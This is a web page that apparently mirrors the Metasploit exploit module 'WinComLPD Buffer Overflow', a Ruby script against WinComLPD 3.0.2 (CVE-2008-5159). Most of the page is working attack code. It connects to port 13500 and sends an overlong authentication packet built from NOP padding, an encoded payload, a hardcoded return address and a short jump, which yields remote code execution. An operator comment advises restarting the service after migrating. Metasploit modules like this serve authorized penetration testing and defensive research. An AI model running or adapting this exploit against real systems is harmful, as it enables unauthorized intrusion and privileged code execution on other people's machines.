Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/lpd/wincomlpd_admin.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'WinComLPD Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in WinComLPD <= 3.0.2.
18
By sending an overly long authentication packet to the remote
19
administration service, an attacker may be able to execute arbitrary
20
code.
21
},
22
'Author' => 'MC',
23
'License' => MSF_LICENSE,
24
'References' => [
25
['CVE', '2008-5159'],
26
['OSVDB', '42861'],
27
['BID', '27614'],
28
],
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 600,
34
'BadChars' => "\x00\x0a",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'WinComLPD 3.0.2.623', { 'Ret' => 0x0047d7a7 } ],
40
],
41
'Privileged' => true,
42
'DisclosureDate' => '2008-02-04',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(13500)], self)
53
end
54
55
def exploit
56
connect
57
58
# 'net start lpdservice' after you migrate!
59
sploit = "\x65\x00\x00\x00\x00\x00\x00\x04\x00\x00\xFF\x1F"
60
sploit << make_nops(872 - payload.encoded.length)
61
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)
62
sploit << make_nops(2) + [target.ret].pack('V') + make_nops(8)
63
sploit << [0xe8, -550].pack('CV') + rand_text_alpha(rand(324) + 1)
64
65
print_status("Trying target #{target.name}...")
66
67
sock.puts(sploit)
68
select(nil, nil, nil, 5)
69
70
handler
71
disconnect
72
end
73
end
74
75